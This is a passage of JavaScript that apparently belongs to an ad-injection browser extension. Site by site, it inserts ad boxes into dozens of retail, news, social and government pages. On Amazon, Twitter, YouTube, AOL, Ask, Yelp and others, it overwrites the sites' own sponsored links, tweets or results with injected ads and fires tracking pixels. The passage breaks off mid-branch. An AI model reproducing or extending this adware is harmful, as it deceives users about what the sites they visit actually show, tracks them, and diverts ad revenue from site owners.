div3.insertAfter('#sw-ads');
div4.css('width', '610px');
div4.insertAfter('#sw-ads-3');
}
else if(isSuperpages === true) {
div.css('width', '360px');
div.insertAfter('.sort');
div2.css('width', '740px');
div2.insertBefore('.results-cnt');
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '360px');
div3.insertAfter('#sw-ads');
div4.css('width', '360px');
div4.insertAfter('#sw-ads-3');
}
else if(isOverstock === true) {
injectShoppingAds(term);
div.css('width', '700px');
div.insertAfter('#top-block-wrap');
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '700px');
div3.insertAfter('#sw-ads');
div4.css('width', '700px');
div4.insertAfter('#sw-ads-3');
}
else if(isWalmart === true) {
injectShoppingAds(term);
div.css('width', '800px');
jQuery('#shelfDiv').prepend(div);
div2.css('width', '800px');
div2.insertAfter('#border');
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '800px');
div3.insertAfter('#sw-ads');
div4.css('width', '800px');
div4.insertAfter('#sw-ads-3');
}
else if(isSears === true) {
injectShoppingAds(term);
}
else if(isJcPenny === true) {
injectShoppingAds(term);
div.css('width', '546px');
jQuery('.sorted_items').prepend(div);
div2.css('width', '590px');
//div2.insertAfter('.pagination2.flt_wdt');
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '546px');
div3.insertAfter('#sw-ads');
div4.css('width', '546px');
div4.insertAfter('#sw-ads-3');
}
else if(isKmart === true) {
injectShoppingAds(term);
div.css('width', '1020px');
div.insertBefore('#topUtilBar');
div2.css('width', '1020px');
div2.insertBefore('#botUtilBar');
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '1020px');
div3.insertAfter('#sw-ads');
div4.css('width', '1020px');
div4.insertAfter('#sw-ads-3');
}
else if(isShopping === true) {
injectShoppingAds(term);
div.css('width', '690px');
div.insertBefore('#searchResultsContainer');
div2.css('width', '690px');
jQuery('#searchResultsContainer').append(div2);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '690px');
div3.insertAfter('#sw-ads');
div4.css('width', '690px');
div4.insertAfter('#sw-ads-3');
}
else if(isLowes === true) {
injectShoppingAds(term);
div.css('width', '704px');
div.insertBefore('#productResults');
div2.css('width', '704px');
div2.insertAfter('#productResults');
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '704px');
div3.insertAfter('#sw-ads');
div4.css('width', '704px');
div4.insertAfter('#sw-ads-3');
}
else if(isHomeDepot === true) {
injectShoppingAds(term);
div.css('width', '546px');
div.insertBefore('#plp_core');
div2.css('width', '546px');
$('#plp_core').append(div2);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '546px');
div3.insertAfter('#sw-ads');
div4.css('width', '546px');
div4.insertAfter('#sw-ads-3');
}
else if(isMacys === true) {
injectShoppingAds(term);
div.css('width', '680px');
div.insertBefore('#macysGlobalLayout');
div2.css('width', '680px');
div2.insertAfter('.browseLayout');
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '680px');
div3.insertAfter('#sw-ads');
div4.css('width', '680px');
div4.insertAfter('#sw-ads-3');
}
else if(isPronto === true) {
injectShoppingAds(term);
div.css('width', '880px');
div.insertBefore('.productContainer');
div2.css('width', '880px');
div2.insertAfter('.productContainer');
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '880px');
div3.insertAfter('#sw-ads');
div4.css('width', '880px');
div4.insertAfter('#sw-ads-3');
}
else if(isShopzilla === true) {
injectShoppingAds(term);
div.css('width', '614px');
div.insertBefore('#results');
div2.css('width', '614px');
div2.insertAfter('.canvas');
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '614px');
div3.insertAfter('#sw-ads');
div4.css('width', '614px');
div4.insertAfter('#sw-ads-3');
}
else if(isBestBuy === true) {
injectShoppingAds(term);
div.css('width', '760px');
div.insertBefore('#listView');
div2.css('width', '760px');
jQuery('#listView').append(div2);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '760px');
div3.insertAfter('#sw-ads');
div4.css('width', '760px');
div4.insertAfter('#sw-ads-3');
}
else if(isTarget === true) {
injectShoppingAds(term);
div.css('width', '704px');
jQuery('#productListing').prepend(div);
div2.css('width', '770px');
jQuery('#productListForm').append(div2);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '704px');
div3.insertAfter('#sw-ads');
div4.css('width', '704px');
div4.insertAfter('#sw-ads-3');
}
else if(isStaples === true) {
injectShoppingAds(term);
div.css('width', '500px');
div.insertBefore('#productDetail');
//div2.css('width', '500px');
//div2.insertAfter('#productDetail');
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '500px');
div3.insertAfter('#sw-ads');
div4.css('width', '500px');
div4.insertAfter('#sw-ads-3');
}
else if(isEbay === true) {
injectShoppingAds(term);
}
else if(isAmazon === true) {
injectShoppingAds(term);
var gc = 0;
jQuery('.pa-sp-offer-container > table > tbody > tr').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
if(obj.items[gc].title.length > 30)
amTitle = obj.items[gc].title.substr(0, 30)+"..";
else
amTitle = obj.items[gc].title;
amDescArr = obj.items[gc].description.split("::");
amDesc = amDescArr[0];
if(amDesc.length > 80)
amDesc = amDesc.substr(0, 80)+"..";
jQuery(this).find('.pa-sp-offer-image > a').attr('href', obj.items[gc].url);
jQuery(this).find('.pa-sp-offer-title > a').attr('href', obj.items[gc].url);
jQuery(this).find('.pa-sp-offer-title > a').html(amTitle);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
jQuery('#SponsoredLinksTable > tbody > tr').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
if(obj.items[gc].title.length > 30)
amTitle = obj.items[gc].title.substr(0, 30)+"..";
else
amTitle = obj.items[gc].title;
amDescArr = obj.items[gc].description.split("::");
amDesc = amDescArr[0];
if(amDesc.length > 80)
amDesc = amDesc.substr(0, 80)+"..";
jQuery(this).find('.SponsoredLinkTitle > a').each(function(){ jQuery(this).attr('href', obj.items[gc].url); });
jQuery(this).find('.SponsoredLinkTitle > a:first').html(''+amTitle+'');
jQuery(this).find('.SponsoredLinkDescriptionUrlLink').html(obj.items[gc].displayUrl);
jQuery(this).find('.SponsoredLinkDescriptionUrlLink').attr('href', obj.items[gc].url);
jQuery(this).find('.SponsoredLinkDescriptionText').html(amDesc);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
return;
}
else if(isTwitter === true) {
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('#stream-items-id > li').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
gcc = gc+1;
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.stream-item-header > a').attr('href', obj.items[gc].url);
jQuery(this).find('.stream-item-header > a').attr('target', "_blank");
jQuery(this).find('.stream-item-header > a').attr('onclick', 'document.location="'+obj.items[gc].url+'";');
jQuery(this).find('.js-action-profile-name.show-popup-with-id').html(obj.items[gc].title);
jQuery(this).find('.js-action-profile-name.username').html(obj.items[gc].displayUrl);
jQuery(this).find('.js-tweet-text').html(obj.items[gc].description);
jQuery(this).find('.js-tweet-text').attr('onclick', 'document.location="'+obj.items[gc].url+'";');
jQuery(this).find('.details.js-details').attr('href', obj.items[gc].url);
jQuery(this).find('.details.js-details').attr('target', "_blank");
jQuery(this).find('.details.js-details').attr('onclick', 'document.location="'+obj.items[gc].url+'";');
jQuery(this).find('.js-action-reply').attr('href', obj.items[gc].url);
jQuery(this).find('.js-action-reply').attr('target', "_blank");
jQuery(this).find('.js-action-reply').attr('onclick', 'document.location="'+obj.items[gc].url+'";');
jQuery(this).find('.favorite').attr('href', obj.items[gc].url);
jQuery(this).find('.favorite').attr('target', "_blank");
jQuery(this).find('.favorite').attr('onclick', 'document.location="'+obj.items[gc].url+'";');
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isAol === true) {
var gc = 0;
jQuery('.SLL > ul[content="SLMP"] > li').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.sllLinkTitle').attr('href', obj.items[gc].url);
jQuery(this).find('.title').html(obj.items[gc].title);
jQuery(this).find('.pdurl > a').attr('href', obj.items[gc].url);
jQuery(this).find('.pdurl > a').html(obj.items[gc].displayUrl);
jQuery(this).find('.pdesc > a').html(obj.items[gc].description);
jQuery(this).find('.pdesc > a').attr('href', obj.items[gc].url);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
jQuery('.RHRSLL > ul[content="SLMP"] > li').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.sllLinkTitle').attr('href', obj.items[gc].url);
jQuery(this).find('.title').html(obj.items[gc].title);
jQuery(this).find('.pdurl > a').attr('href', obj.items[gc].url);
jQuery(this).find('.pdurl > a').html(obj.items[gc].displayUrl);
jQuery(this).find('.pdesc > a').html(obj.items[gc].description);
jQuery(this).find('.pdesc > a').attr('href', obj.items[gc].url);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
jQuery('.SLL > ul[content="SLMS"] > li').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.sllLinkTitle').attr('href', obj.items[gc].url);
jQuery(this).find('.title').html(obj.items[gc].title);
jQuery(this).find('.pdurl > a').attr('href', obj.items[gc].url);
jQuery(this).find('.pdurl > a').html(obj.items[gc].displayUrl);
jQuery(this).find('.pdesc > a').html(obj.items[gc].description);
jQuery(this).find('.pdesc > a').attr('href', obj.items[gc].url);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
sw_cont = "";
last_sw = "";
for(i = 0; i<(3-gc); i++)
{
sw_cont = "sw-ads";
if(i > 0)
sw_cont += "-"+(i+1);
div = createXmlBox(sw_cont);
div.css('width', '850px');
if(last_sw == "")
jQuery('.WOL').prepend(div);
else
div.insertAfter('#'+last_sw);
last_sw = sw_cont;
}
}
else if(isAsk === true) {
var gc = 0;
jQuery('#spl_img_top > .spl_ad_plus.ur').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.spl_ad.url.lindp').attr('href', obj.items[gc].url);
jQuery(this).find('.splTitle').html(obj.items[gc].title);
jQuery(this).find('.txt3.attrib').html(obj.items[gc].displayUrl);
jQuery(this).find('.abstract.txt3').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
sw_cont = "";
last_sw = "";
for(i = 0; i<(3-gc); i++)
{
sw_cont = "sw-ads";
if(i > 0)
sw_cont += "-"+(i+1);
div = createXmlBox(sw_cont);
div.css('width', '700px');
if(last_sw == "")
jQuery('#csaTop').prepend(div);
else
div.insertAfter('#'+last_sw);
last_sw = sw_cont;
}
}
else if(isComcast === true) {
var gc = 0;
jQuery('.sitelink.title').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.adl1').attr('href', obj.items[gc].url);
jQuery(this).find('.adl1 > .text').html(obj.items[gc].title);
jQuery(this).next().find('.adl2').attr('href', obj.items[gc].url);
jQuery(this).next().find('.adl2 > .source').html(obj.items[gc].displayUrl);
jQuery(this).next().find('.adl2 > .summary').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
sw_cont = "";
last_sw = "";
for(i = 0; i<(3-gc); i++)
{
sw_cont = "sw-ads";
if(i > 0)
sw_cont += "-"+(i+1);
div = createXmlBox(sw_cont);
div.css('width', '770px');
if(last_sw == "")
jQuery('.sponsor-6').prepend(div);
else
div.insertAfter('#'+last_sw);
last_sw = sw_cont;
}
}
else if(isFoxnews === true) {
div.css('width', '624px');
div.insertAfter('.ez-search-sort');
div2.css('width', '624px');
div2.insertAfter('.ez-mainSearch');
}
else if(isYelp === true) {
var gc = 0;
jQuery('.search-results > li.add-search-result').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.biz-name').attr('href', obj.items[gc].url);
jQuery(this).find('.biz-name').html(obj.items[gc].title);
jQuery(this).find('.category-str-list > a').attr('href', obj.items[gc].url);
jQuery(this).find('.category-str-list > a').html(obj.items[gc].displayUrl);
jQuery(this).find('.media-story > .snippet').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
sw_cont = "";
last_sw = "";
for(i = 0; i<(3-gc); i++)
{
sw_cont = "sw-ads";
if(i > 0)
sw_cont += "-"+(i+1);
div = createXmlBox(sw_cont);
div.css('width', '630px');
if(last_sw == "")
div.insertBefore('.results-wrapper');
else
div.insertAfter('#'+last_sw);
last_sw = sw_cont;
}
}
else if(isYoutube === true) {
var gc = 0;
jQuery('.pyv-afc-ads-inner > div > li.yt-lockup').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.yt-lockup-thumbnail > a').attr('href', obj.items[gc].url);
jQuery(this).find('.yt-lockup-title > a').attr('href', obj.items[gc].url);
jQuery(this).find('.yt-lockup-title > a').html(obj.items[gc].title);
jQuery(this).find('.yt-uix-sessionlink.yt-user-name').attr('href', obj.items[gc].url);
jQuery(this).find('.yt-uix-sessionlink.yt-user-name').html(obj.items[gc].displayUrl);
jQuery(this).find('.yt-lockup-description').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
setTimeout(function(){
gc = 0;
jQuery('#watch-related > .watch-pyv-vid').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('#pyv-watch-related-dest-url').attr('href', obj.items[gc].url);
jQuery(this).find('.title').html(obj.items[gc].title);
jQuery(this).find('.stat:first').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
jQuery('#watch-related > .related-list-item').slice(0,3).each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.title').html(obj.items[gc].title);
jQuery(this).find('.stat:first').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
jQuery('#watch-related > .related-list-item:last').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.title').html(obj.items[gc].title);
jQuery(this).find('.stat:first').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}, 1000);
sw_cont = "";
last_sw = "";
for(i = 0; i<(3-gc); i++)
{
sw_cont = "sw-ads";
if(i > 0)
sw_cont += "-"+(i+1);
div = createXmlBox(sw_cont);
div.css('width', '628px');
if(last_sw == "")
jQuery('#results').prepend(div);
else
div.insertAfter('#'+last_sw);
last_sw = sw_cont;
}
}
else if(isEtsy === true) {
injectShoppingAds(term);
div.css('width', '772px');
div.insertBefore('#recent_showcase');
div2.css('width', '772px');
jQuery('#related-searches').prepend(div2);
}
else if(isPGrabber === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '770px');
jQuery('#product_results').prepend(div);
div2.css('width', '770px');
div2.insertAfter('#product_results');
div3.css('width', '770px');
div3.insertAfter('#sw-ads');
div4.css('width', '770px');
div4.insertAfter('#sw-ads-3');
}
else if(isBCheapr === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '748px');
jQuery('.google_top').prepend(div);
div2.css('width', '748px');
div2.insertAfter('.product-search-result-part');
div3.css('width', '748px');
div3.insertAfter('#sw-ads');
div4.css('width', '748px');
div4.insertAfter('#sw-ads-3');
}
else if(isAlibaba === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '850px');
jQuery('#filter-wrap').prepend(div);
div2.css('width', '850px');
div2.insertAfter('#list-form');
div3.css('width', '850px');
div3.insertAfter('#sw-ads');
div4.css('width', '850px');
div4.insertAfter('#sw-ads-3');
}
else if(isZazzle === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '800px');
jQuery('#page_productsSearch').prepend(div);
div2.css('width', '800px');
div2.insertAfter('#page_productsSearch');
div3.css('width', '800px');
div3.insertAfter('#sw-ads');
div4.css('width', '800px');
div4.insertAfter('#sw-ads-3');
}
else if(isThefind === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '1000px');
jQuery('#tf_search_results_main').prepend(div);
div2.css('width', '1000px');
div2.insertAfter('#tf_search_results_main');
div3.css('width', '1000px');
div3.insertAfter('#sw-ads');
div4.css('width', '1000px');
div4.insertAfter('#sw-ads-3');
}
else if(isNStrom === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '760px');
jQuery('#dynamicFilter').prepend(div);
div2.css('width', '760px');
div2.insertAfter('.fashion-results');
div3.css('width', '760px');
div3.insertAfter('#sw-ads');
div4.css('width', '760px');
div4.insertAfter('#sw-ads-3');
}
else if(isOdepot === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '750px');
jQuery('#m02').prepend(div);
div2.css('width', '750px');
div2.insertAfter('');
div3.css('width', '750px');
div3.insertAfter('#sw-ads');
div4.css('width', '750px');
div4.insertAfter('#sw-ads-3');
}
else if(isF21 === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '820px');
jQuery('#CenterColumn').prepend(div);
div2.css('width', '820px');
div2.insertAfter('');
div3.css('width', '820px');
div3.insertAfter('#sw-ads');
div4.css('width', '820px');
div4.insertAfter('#sw-ads-3');
}
else if(isBedbath === true) {
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '800px');
jQuery('#pagTop').prepend(div);
div2.css('width', '800px');
div2.insertAfter('');
div3.css('width', '800px');
div3.insertAfter('#sw-ads');
div4.css('width', '800px');
div4.insertAfter('#sw-ads-3');
}
else if(isQvc === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '680px');
jQuery('#divContent').prepend(div);
div2.css('width', '680px');
div2.insertAfter('#frmProductList');
div3.css('width', '680px');
div3.insertAfter('#sw-ads');
div4.css('width', '680px');
div4.insertAfter('#sw-ads-3');
}
else if(isGifts === true) {
injectShoppingAds(term);
}
else if(isDrugstore === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '770px');
jQuery('.SrchMsgOtherSites').prepend(div);
div2.css('width', '770px');
div2.insertAfter('');
div3.css('width', '770px');
div3.insertAfter('#sw-ads');
div4.css('width', '770px');
div4.insertAfter('#sw-ads-3');
}
else if(is123rf === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '770px');
jQuery('.SrchMsgOtherSites').prepend(div);
div2.css('width', '770px');
div2.insertAfter('');
div3.css('width', '770px');
div3.insertAfter('#sw-ads');
div4.css('width', '770px');
div4.insertAfter('#sw-ads-3');
}
else if(isGamestop === true) {
injectShoppingAds(term);
}
else if(isBnoble === true) {
injectShoppingAds(term);
}
else if(isZappos === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '760px');
jQuery('#searchResults').prepend(div);
div2.css('width', '760px');
div2.insertAfter('');
div3.css('width', '760px');
div3.insertAfter('#sw-ads');
div4.css('width', '760px');
div4.insertAfter('#sw-ads-3');
}
else if(isWalgreens === true) {
injectShoppingAds(term);
}
else if(isDell === true) {
injectShoppingAds(term);
}
else if(isCvs === true) {
injectShoppingAds(term);
}
else if(isBizrate === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '1000px');
jQuery('#column2').prepend(div);
div2.css('width', '1000px');
div2.insertAfter('#column2');
div3.css('width', '1000px');
div3.insertAfter('#sw-ads');
div4.css('width', '1000px');
div4.insertAfter('#sw-ads-3');
}
else if(isNike === true) {
injectShoppingAds(term);
var gc = 0;
var ct5 = 0;
var skip5 = 0;
jQuery('.product-wall > .grid-item').each(function(){
if(gc>0 && gc%3 == 0)
skip5 = 1;
if(skip5 == 1)
{
if(ct5 < 5)
ct5++;
else if(ct5 == 5)
{
skip5 = 0;
ct5 = 0;
}
}
if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.grid-item-image > a').attr('href', obj.items[gc].url);
jQuery(this).find('.grid-item-info-wrapper > a').attr('href', obj.items[gc].url);
jQuery(this).find('.griditem-display-name').html(obj.items[gc].title);
jQuery(this).find('.griditem-subtitle').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isWayfair === true) {
injectShoppingAds(term);
}
else if(isEvite === true) {
injectShoppingAds(term);
}
else if(isSamsclub === true) {
injectShoppingAds(term);
}
else if(isVictorias === true) {
injectShoppingAds(term);
}
else if(isDicks === true) {
injectShoppingAds(term);
}
else if(isVista === true) {
injectShoppingAds(term);
}
else if(isCafepress === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '780px');
jQuery('.layout-content').prepend(div);
div2.css('width', '780px');
div2.insertAfter('');
div3.css('width', '780px');
div3.insertAfter('#sw-ads');
div4.css('width', '780px');
div4.insertAfter('#sw-ads-3');
}
else if(isAe === true) {
injectShoppingAds(term);
}
else if(isHsn === true) {
injectShoppingAds(term);
}
else if(isFootlocker === true) {
injectShoppingAds(term);
}
else if(isLenovo === true) {
injectShoppingAds(term);
}
else if(isSmarter === true) {
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '780px');
div.insertBefore('#adblock1');
div2.css('width', '780px');
div2.insertAfter('');
div3.css('width', '780px');
div3.insertAfter('#sw-ads');
div4.css('width', '780px');
div4.insertAfter('#sw-ads-3');
}
else if(isMws === true) {
var gc = 0;
jQuery('#algo > .algoLinkBox').each(function(){
if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('#algoBox > a').attr('href', obj.items[gc].url);
jQuery(this).find('#algoBox > a').html(obj.items[gc].title);
jQuery(this).find('.algouri').html(obj.items[gc].displayUrl);
jQuery(this).find('.nDesc').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isUps === true) {
div.css('width', '540px');
div.insertAfter('.arrow-blue-nav');
}
else if(isUsps === true) {
div.css('width', '488px');
div.insertBefore('#search-results-tab-content');
div2.css('width', '488px');
div2.insertAfter('#s-results');
}
else if(isReference === true) {
div.css('width', '445px');
div.insertBefore('#rpane');
div2.css('width', '445px');
div2.insertAfter('.pbk');
}
else if(isAtt === true) {
div.css('width', '450px');
div.insertBefore('#item1Toggle');
div2.css('width', '445px');
div2.insertBefore('.pagination');
}
else if(isIntuit === true) {
div.css('width', '590px');
div.insertAfter('#targetSearchContent');
}
else if(isRr === true) {
div.css('width', '790px');
div.insertBefore('#afsTop');
div2.css('width', '790px');
div2.insertBefore('#pagination');
}
else if(isIndeed === true) {
div.css('width', '645px');
div.insertAfter('#tjobalerts');
div2.css('width', '645px');
div2.insertBefore('#bjobalerts');
}
else if(isUsa === true) {
div.css('width', '600px');
div.insertBefore('#search-results-col');
}
else if(isWsj === true) {
div.css('width', '570px');
div.insertAfter('.spn_links');
div2.css('width', '570px');
div2.insertBefore('.src_resultFooter');
}
else if(isDailymail === true) {
div.css('width', '636px');
div.insertAfter('.sch-head');
div2.css('width', '636px');
div2.insertBefore('#bing-results');
}
else if(isVimeo === true) {
var gc = 0;
jQuery('ol.browse_videos.browse_videos_thumbnails > li').each(function(){
if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.title').html(obj.items[gc].title);
jQuery(this).find('.meta > time').html(obj.items[gc].displayUrl);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(isLatimes === true) {
div.css('width', '460px');
div.insertAfter('#adcontainer1');
div2.css('width', '460px');
jQuery('.advPagination').prepend(div2);
}
else if(isNewegg === true) {
injectShoppingAds(term);
div.css('width', '960px');
div.insertBefore('#categoryNavTop');
div2.css('width', '960px');
div2.insertAfter('.version600');
}
else if(isTmz === true) {
div.css('width', '545px');
div.insertBefore('.gsa-wrapper');
div2.css('width', '545px');
div2.insertBefore('.gsa-paging');
}
else if(isMyspace === true) {
div.css('width', '620px');
div.insertAfter('.summary');
div2.css('width', '620px');
div2.insertAfter('.searchResults');
}
else if(isFiverr === true) {
div.css('width', '607px');
div.insertAfter('.results-bar');
div2.css('width', '607px');
div2.insertBefore('.coll-wrapper-indx');
}
else if(isGo === true) {
div.css('width', '472px');
div.insertBefore('.widget_head_search');
}
else if(isAllrecipes === true) {
div.css('width', '500px');
div.insertAfter('.recipe-details-content');
div.insertAfter('.adContainer');
div2.css('width', '500px');
jQuery('#content-wrapper').append(div2);
}
else if(isFoxsports === true) {
div.css('width', '610px');
div.insertBefore('.ez-mainSearch');
div2.css('width', '610px');
div2.insertAfter('.ez-mainSearch');
}
else if(isCbssports === true) {
div.css('width', '480px');
div.insertBefore('#docs');
div2.css('width', '480px');
div2.insertAfter('#docs');
}
else if(isShopathome === true) {
injectShoppingAds(term);
div.css('width', '560px');
div.insertBefore('#container2');
div2.css('width', '560px');
jQuery('#tabResults').append(div2);
}
else if(isSlickdeals === true) {
injectShoppingAds(term);
div.css('width', '880px');
div.insertBefore('#results_table');
div2.css('width', '880px');
div2.insertAfter('#results_table');
}
else if(isVerizon === true) {
div.css('width', '810px');
div.insertAfter('#search_top_nav');
div2.css('width', '810px');
div2.insertBefore('#search_bottom_nav');
}
else if(isSwest === true) {
div.css('width', '545px');
jQuery('#search_results').prepend(div);
div2.css('width', '545px');
jQuery('.keymatch_result').append(div2);
}
else if(isSquidoo === true) {
div.css('width', '590px');
div.insertAfter('#searchSort');
div2.css('width', '590px');
jQuery('#search_results').append(div2);
}
else if(isKohls === true) {
injectShoppingAds(term);
div.css('width', '580px');
div.insertBefore('.products');
div2.css('width', '580px');
div2.insertAfter('.products');
}
else if(isCbuilder === true) {
div.css('width', '790px');
div.insertBefore('#JL_D');
div2.css('width', '790px');
div2.insertAfter('#JL_D');
}
else if(isPeople === true) {
div.css('width', '940px');
jQuery('.resultsMenu').prepend(div);
div2.css('width', '950px');
jQuery('#archiveSearchBottom').prepend(div2);
}
else if(isGoD === true) {
div.css('width', '528px');
div.insertBefore('.pad30');
div2.css('width', '528px');
div2.insertAfter('.naturals');
}
else if(isGap === true) {
div.css('width', '828px');
div.insertAfter('.searchResults');
div2.css('width', '828px');
div2.insertAfter('#searchProductIteration');
}
else if(isMonster === true) {
div.css('width', '546px');
jQuery('#centerColumn').prepend(div);
div2.css('width', '546px');
jQuery('#secondaryResults').append(div2);
}
else if(isMeetup === true) {
div.css('width', '920px');
div.insertAfter('.D_listControls_compact');
div2.css('width', '920px');
div2.insertAfter('#groupListContainer');
}
else if(isWebmd === true) {
div.css('width', '630px');
div.insertBefore('#Pagination1_PaginationTopDiv');
div2.css('width', '630px');
div2.insertBefore('#Pagination2_PaginationTopDiv');
}
else if(isReuters === true) {
div.css('width', '620px');
div.insertBefore('.searchLabelRight');
div2.css('width', '620px');
jQuery('.pageNavigation').prepend(div2);
}
else if(isCa === true) {
div.css('width', '555px');
div.insertAfter('.search_pages');
div2.css('width', '555px');
div2.insertAfter('#search_results');
}
else if(isNih === true) {
div.css('width', '555px');
div.insertAfter('#top-navigation');
div2.css('width', '555px');
div2.insertBefore('#bottom-navigation');
}
else if(isIgn === true) {
div.css('width', '625px');
div.insertBefore('#adcontainer1');
div2.css('width', '625px');
jQuery('#searchResults').append(div2);
}
else if(isWpages === true) {
div.css('width', '480px');
div.insertAfter('#biz_category_links');
div2.css('width', '480px');
div2.insertBefore('.bottom_pagination_wrap');
}
else if(isMlb === true) {
div.css('width', '640px');
div.insertBefore('#divSearchResults');
div2.css('width', '640px');
div2.insertBefore('.sch-navigation');
}
else if(isRetailmenot === true) {
div.css('width', '640px');
div.insertBefore('.js-search-header');
div2.css('width', '640px');
div2.insertAfter('.purple');
}
else if(isNydaily === true) {
div.css('width', '605px');
div.insertBefore('#results');
div2.css('width', '605px');
div2.insertAfter('#results');
}
else if(isDigg === true) {
